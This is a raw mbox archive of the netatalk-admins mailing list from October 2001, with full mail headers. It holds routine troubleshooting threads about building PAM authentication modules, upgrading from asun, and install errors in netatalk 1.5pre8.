	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA13453
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 15:40:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA13895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 15:40:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA13875
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 15:40:02 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA13840
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 15:40:01 -0400 (EDT)
Received: (qmail 9200 invoked by uid 104); 12 Oct 2001 19:40:00 -0000
Received: from cwg-dated-607631546fe38ae9@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.279519 secs); 12/10/2001 14:40:00
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-607631546fe38ae9@deepeddy.com>)
          by easycomeeasygo.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 12 Oct 2001 19:39:59 -0000
Received: (qmail 23626 invoked by alias); 12 Oct 2001 19:39:59 -0000
From: "Chris Garrigues" <cwg-dated-607631546fe38ae9@deepeddy.com>
Received: (qmail 23580 invoked from network); 12 Oct 2001 19:39:58 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 12 Oct 2001 19:39:58 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: Does the PAM stuff work in 1.5pre8?
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-317367408P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 12 Oct 2001 14:39:58 -0500
Message-ID: <23576.1002915598@deepeddy.com>
Mail-Reply-To: cwg-dated-607631546fe38ae9@DeepEddy.Com

--==_Exmh_-317367408P
Content-Type: text/plain; charset=us-ascii

When I start it up, I get these errors:

Oct 12 14:27:14 deepeddy afpd[3398]: uam : Loading (/etc/netatalk/uams/uams_clrtxt.so)
Oct 12 14:27:14 deepeddy afpd[3398]: uam: uam not found (status=-1)
Oct 12 14:27:14 deepeddy afpd[3398]: uam : Loading (/etc/netatalk/uams/uams_dhx.so)
Oct 12 14:27:14 deepeddy afpd[3398]: uam: uam not found (status=-1)

This is whats in the uams directory:
lrwxrwxrwx   1 root     root           11 Oct 12 13:54 uams_clrtxt.so -> uams_pam.so
lrwxrwxrwx   1 root     root           15 Oct 12 13:54 uams_dhx.so -> uams_dhx_pam.so
-rwxr-xr-x   1 root     root         9852 Oct 12 13:52 uams_dhx_passwd.so
-rwxr-xr-x   1 root     root         8101 Oct 12 13:52 uams_guest.so
-rwxr-xr-x   1 root     root         9341 Oct 12 13:52 uams_passwd.so
-rwxr-xr-x   1 root     root         8394 Oct 12 13:52 uams_pgp.so
-rwxr-xr-x   1 root     root        13650 Oct 12 13:52 uams_randnum.so

When I look at the makefile for the uams, I note that uams_pam.so and 
uams_dhx_pam.so are only built if BUILD_PAM is defined.

configure.in sez:

AM_CONDITIONAL(BUILD_PAM, test x$compile_pam = xyes)

but $compile_pam is never defined...anywhere.

I tried copying the enable-krb4-uam stuff with no success, so I'm stumped.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-317367408P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7x0cNK9b4h5R0IUIRArEYAJwIEITpuBb3akJKobX0EKYk6xFqawCfX71W
e+VqkV290PoSVvtlv4WvB/I=
=vfP5
-----END PGP SIGNATURE-----

--==_Exmh_-317367408P--

From netatalk.administrators-errors@umich.edu  Fri Oct 12 16:36:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA18402
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 16:36:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA14671
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 16:36:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA14659
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 16:36:20 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA14625
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 16:36:19 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 16688 invoked from network); 12 Oct 2001 20:35:44 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 12 Oct 2001 20:35:44 -0000
Message-Id: <5.1.0.14.2.20011012220920.026114b8@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 12 Oct 2001 22:36:23 +0200
To: netatalk-admins@umich.edu
Subject: Re: Does the PAM stuff work in 1.5pre8?
In-Reply-To: <23576.1002915598@deepeddy.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

You have to manually uncomment the modules (pam & dhx) in 
netatalk-pre8etc/uams/Makefile
after having run the ./configure before make.

All the best /Mikko


At 21:39 2001-10-12, you wrote:
>When I start it up, I get these errors:
>
>Oct 12 14:27:14 deepeddy afpd[3398]: uam : Loading 
>(/etc/netatalk/uams/uams_clrtxt.so)
>Oct 12 14:27:14 deepeddy afpd[3398]: uam: uam not found (status=-1)
>Oct 12 14:27:14 deepeddy afpd[3398]: uam : Loading 
>(/etc/netatalk/uams/uams_dhx.so)
>Oct 12 14:27:14 deepeddy afpd[3398]: uam: uam not found (status=-1)
>
>This is whats in the uams directory:
>lrwxrwxrwx   1 root     root           11 Oct 12 13:54 uams_clrtxt.so -> 
>uams_pam.so
>lrwxrwxrwx   1 root     root           15 Oct 12 13:54 uams_dhx.so -> 
>uams_dhx_pam.so
>-rwxr-xr-x   1 root     root         9852 Oct 12 13:52 uams_dhx_passwd.so
>-rwxr-xr-x   1 root     root         8101 Oct 12 13:52 uams_guest.so
>-rwxr-xr-x   1 root     root         9341 Oct 12 13:52 uams_passwd.so
>-rwxr-xr-x   1 root     root         8394 Oct 12 13:52 uams_pgp.so
>-rwxr-xr-x   1 root     root        13650 Oct 12 13:52 uams_randnum.so
>
>When I look at the makefile for the uams, I note that uams_pam.so and
>uams_dhx_pam.so are only built if BUILD_PAM is defined.
>
>configure.in sez:
>
>AM_CONDITIONAL(BUILD_PAM, test x$compile_pam = xyes)
>
>but $compile_pam is never defined...anywhere.
>
>I tried copying the enable-krb4-uam stuff with no success, so I'm stumped.
>
>Chris
>
>--
>Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
>virCIO                          http://www.virCIO.Com
>4314 Avenue C
>Austin, TX  78751-3709          +1 512 374 0500
>
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>
>     The Greatest tragedy in mankind's entire history may be the
>       hijacking of morality by religion.  However valuable -- even
>       necessary -- that may have been in enforcing good behavior on
>       primitive peoples, their association is now counterproductive.
>       Yet at the very moment when they should be decoupled,
>       sanctimonious nitwits are calling for a return to morals based
>       on superstition.
>                                 --- Arthur C. Clarke
>



From netatalk.administrators-errors@umich.edu  Sat Oct 13 12:30:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03193
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 13 Oct 2001 12:30:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA11081
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 13 Oct 2001 12:30:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA11063
	for netatalk.administrators-members@umich.edu; Sat, 13 Oct 2001 12:30:08 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA11009
	for <netatalk-admins@umich.edu>; Sat, 13 Oct 2001 12:30:07 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9DGU1R29480
	for <netatalk-admins@umich.edu>; Sat, 13 Oct 2001 18:30:01 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9DGU1R04278
	for netatalk-admins@umich.edu; Sat, 13 Oct 2001 18:30:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15sEOd-0001q8-00
	for <netatalk-admins@umich.edu>; Sat, 13 Oct 2001 04:19:27 +0200
Date: Sat, 13 Oct 2001 04:19:27 +0200
To: netatalk-admins@umich.edu
Subject: Re: Does the PAM stuff work in 1.5pre8?
Message-ID: <20011013041927.A6982@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <23576.1002915598@deepeddy.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <23576.1002915598@deepeddy.com>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Oct 12, 2001 at 02:39:58PM -0500, Chris Garrigues wrote:

> configure.in sez:
> 
> AM_CONDITIONAL(BUILD_PAM, test x$compile_pam = xyes)
> 
> but $compile_pam is never defined...anywhere.

This was fixed in CVS.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Oct 13 15:14:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA07666
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 13 Oct 2001 15:14:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA20700
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 13 Oct 2001 15:14:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA20684
	for netatalk.administrators-members@umich.edu; Sat, 13 Oct 2001 15:14:03 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA20642
	for <netatalk-admins@umich.edu>; Sat, 13 Oct 2001 15:14:02 -0400 (EDT)
Received: (qmail 32208 invoked by uid 104); 13 Oct 2001 19:14:01 -0000
Received: from cwg-dated-646f40e51f987ca9@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.439604 secs); 13/10/2001 14:14:01
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-646f40e51f987ca9@deepeddy.com>)
          by roustabout.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 13 Oct 2001 19:14:00 -0000
Received: (qmail 11315 invoked by alias); 13 Oct 2001 19:13:59 -0000
From: "Chris Garrigues" <cwg-dated-646f40e51f987ca9@deepeddy.com>
Received: (qmail 11294 invoked from network); 13 Oct 2001 19:13:58 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <mikko@fs.sorl.net@fixme>; 13 Oct 2001 19:13:58 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: mikko@fs.sorl.net
Cc: netatalk-admins@umich.edu
Subject: Re: Does the PAM stuff work in 1.5pre8? 
In-Reply-To: <5.1.0.14.2.20011012220920.026114b8@carme.affordablehost.com> 
References: <5.1.0.14.2.20011012220920.026114b8@carme.affordablehost.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1649179600P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Sat, 13 Oct 2001 14:13:58 -0500
Message-ID: <11290.1003000438@deepeddy.com>
Mail-Reply-To: cwg-dated-646f40e51f987ca9@DeepEddy.Com

--==_Exmh_1649179600P
Content-Type: text/plain; charset=us-ascii

> From:  mikko@fs.sorl.net
> Date:  Fri, 12 Oct 2001 22:36:23 +0200
>
> You have to manually uncomment the modules (pam & dhx) in 
> netatalk-pre8etc/uams/Makefile
> after having run the ./configure before make.

A little awkward to put in an RPM, but I got it.  Thanks.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_1649179600P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7yJJ2K9b4h5R0IUIRAkiqAJ9Uuuah4VCXw8852LrQb3Cug6wdXACgkgKp
6xR+kQtdsBz94B1M33EEEkY=
=zgoc
-----END PGP SIGNATURE-----

--==_Exmh_1649179600P--

From netatalk.administrators-errors@umich.edu  Sat Oct 13 15:14:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA07693
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 13 Oct 2001 15:14:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA06887
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 13 Oct 2001 15:14:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA06869
	for netatalk.administrators-members@umich.edu; Sat, 13 Oct 2001 15:14:42 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA06828
	for <netatalk-admins@umich.edu>; Sat, 13 Oct 2001 15:14:41 -0400 (EDT)
Received: (qmail 32248 invoked by uid 104); 13 Oct 2001 19:14:40 -0000
Received: from cwg-dated-44b698b7f1336285@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.253898 secs); 13/10/2001 14:14:40
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-44b698b7f1336285@deepeddy.com>)
          by kidgalahad.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 13 Oct 2001 19:14:40 -0000
Received: (qmail 11734 invoked by alias); 13 Oct 2001 19:14:39 -0000
From: "Chris Garrigues" <cwg-dated-44b698b7f1336285@deepeddy.com>
Received: (qmail 11711 invoked from network); 13 Oct 2001 19:14:38 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <srittau@jroger.in-berlin.de@fixme>; 13 Oct 2001 19:14:38 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
Cc: netatalk-admins@umich.edu
Subject: Re: Does the PAM stuff work in 1.5pre8? 
In-Reply-To: <20011013041927.A6982@jroger.in-berlin.de> 
References: <23576.1002915598@deepeddy.com> <20011013041927.A6982@jroger.in-berlin.de>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1650026320P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Sat, 13 Oct 2001 14:14:38 -0500
Message-ID: <11707.1003000478@deepeddy.com>
Mail-Reply-To: cwg-dated-44b698b7f1336285@DeepEddy.Com

--==_Exmh_1650026320P
Content-Type: text/plain; charset=us-ascii

> From:  Sebastian Rittau <srittau@jroger.in-berlin.de>
> Date:  Sat, 13 Oct 2001 04:19:27 +0200
>
> On Fri, Oct 12, 2001 at 02:39:58PM -0500, Chris Garrigues wrote:
> 
> > configure.in sez:
> > 
> > AM_CONDITIONAL(BUILD_PAM, test x$compile_pam = xyes)
> > 
> > but $compile_pam is never defined...anywhere.
> 
> This was fixed in CVS.

Good.  Doesn't do me any good right down, but I'll be looking forward to 
1.5pre9 so I can remove the kludge I just put in my spec file.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_1650026320P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7yJKeK9b4h5R0IUIRAkFzAJ94tIeJhvubog1wPUEvbKQuLlO1ywCcCTee
nIZacnz9pmpg74bEaKopvK4=
=7+Hl
-----END PGP SIGNATURE-----

--==_Exmh_1650026320P--

From netatalk.administrators-errors@umich.edu  Sun Oct 14 14:38:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17867
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 14 Oct 2001 14:38:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA06263
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 14 Oct 2001 14:38:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA06244
	for netatalk.administrators-members@umich.edu; Sun, 14 Oct 2001 14:38:32 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA06180
	for <netatalk-admins@umich.edu>; Sun, 14 Oct 2001 14:38:30 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000107567 for <netatalk-admins@umich.edu>; Sun, 14 Oct 2001 20:38:30 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a05101000b7ef8a558819@[192.168.1.201]>
Date: Sun, 14 Oct 2001 20:38:26 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: help needed for upgrade from asun to 1.5p8 (on LinuxPPC)
Content-Type: text/plain; charset="us-ascii"

Hi All,

Recently there was a notice about different .AppleDouble formats between  different netatalk versions / branches.

Now time has come for me to try to compile netatalk 1.5p8 with cnid-db support (after, if ever, I'll succesfully upgrade LinuxPPC 2000 Q4 to libc6).

I hope to be able to use it for production soon, I mean, I hope it can hold up to the old asun2.1.4 , which works with OS9 and Ten, but is still buggy when copying a lot of files.

My question to the list is: 
Does anybody know which specific changes that have occurred on the "AppleDouble" side from 1.4+asun2.14pre37 to 1.5p8, so that it is possible to prevent data loss? 
Do I have to copy all served files to a client, and then back, or is there a chance to get the upgrade running without risks (I have daily backup on another fs, anyway)?
Any experience in this field?

Thanx a lot in advance!

-LP


From netatalk.administrators-errors@umich.edu  Mon Oct 15 08:13:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA24292
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Oct 2001 08:13:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA00601
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Oct 2001 08:13:21 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA00574
	for netatalk.administrators-members@umich.edu; Mon, 15 Oct 2001 08:13:21 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id IAA00518
	for <netatalk-admins@umich.edu>; Mon, 15 Oct 2001 08:13:20 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 3211 invoked from network); 15 Oct 2001 12:08:01 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-36.tower-1.london-2.starlabs.net with SMTP; 15 Oct 2001 12:08:01 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id NAA20686 for <netatalk-admins@umich.edu>; Mon, 15 Oct 2001 13:13:18 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id NAA25478 for <netatalk-admins@umich.edu>; Mon, 15 Oct 2001 13:13:16 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256AE6.0043207C ; Mon, 15 Oct 2001 13:13:12 +0100
X-Lotus-FromDomain: HARLEQUIN
To: netatalk-admins@umich.edu
Message-ID: <80256AE6.00431B56.00@notescam.cam.harlequin.co.uk>
Date: Mon, 15 Oct 2001 13:12:57 +0100
Subject: Re: [Netatalk-devel] 1.5pre8
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I'm trying to install this version of netatalk on Redhat linux 7.1, but keep
seeing these messages when I do a make install I get this:

/usr/bin/install -c -m 644 maccode.* /usr/local/atalk/etc/netatalk/nls
can't open maccode.437
can't open maccode.850
can't open maccode.iso8859-1
can't open maccode.iso8859-1.adapted

configured with

--prefix=/usr/local/atalk --enable-redhat --without-pam --with-tcp-wrappers
--with-did=last

Apologies if this has been answered previously.

Cheers,

Roger.


At 05/10/2001 14:20:25, jeff <jeff@univrel.pr.uconn.edu> wrote:
#  netatalk 1.5pre8 has been released, and is available on sourceforge. It
#  fixes many known problems with 1.5pre7, so all 1.5pre7 installs should
#  be upgraded to this version.
#
#  http://sourceforge.net/projects/netatalk
#
#  (With apologies for the cross-post.)
#
#  Jeff
#
#
#  _______________________________________________
#  Netatalk-devel mailing list
#  Netatalk-devel@lists.sourceforge.net
#  https://lists.sourceforge.net/lists/listinfo/netatalk-devel
#



From netatalk.administrators-errors@umich.edu  Mon Oct 15 08:40:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA25580
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Oct 2001 08:40:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA28820
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Oct 2001 08:40:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA28800
	for netatalk.administrators-members@umich.edu; Mon, 15 Oct 2001 08:40:19 -0400 (EDT)
Received: from mail7.carolina.rr.com (mail7.southeast.rr.com [24.93.67.54])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA28764
	for <netatalk-admins@umich.edu>; Mon, 15 Oct 2001 08:40:18 -0400 (EDT)
Received: from [192.168.110.21] ([199.72.99.66]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Mon, 15 Oct 2001 08:40:17 -0400
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b7f0899dfce7@[192.168.110.21]>
Date: Mon, 15 Oct 2001 08:40:16 -0400
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: TEST do not reply
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

test

From netatalk.administrators-errors@umich.edu  Tue Oct 16 05:40:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA23298
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 05:40:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA27525
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 05:40:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA27500
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 05:40:20 -0400 (EDT)
Received: from mail.shanghai.fr ([194.133.125.136])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA27345
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 05:40:15 -0400 (EDT)
Received: from sebastien (localhost.localdomain [127.0.0.1])
	by mail.shanghai.fr (Postfix) with SMTP id 3E797C0CE
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 11:35:48 +0200 (CEST)
From: =?iso-8859-1?Q?S=E9bastien_CRAMATTE?= <s.cramatte@shanghai.fr>
To: <netatalk-admins@umich.edu>
Subject: Netatalk + Samba on a Mandrake 8 problems
Date: Tue, 16 Oct 2001 11:40:40 +0200
Message-ID: <FDEAKNJKAHPCCIPJHBDKCEGNCEAA.s.cramatte@shanghai.fr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
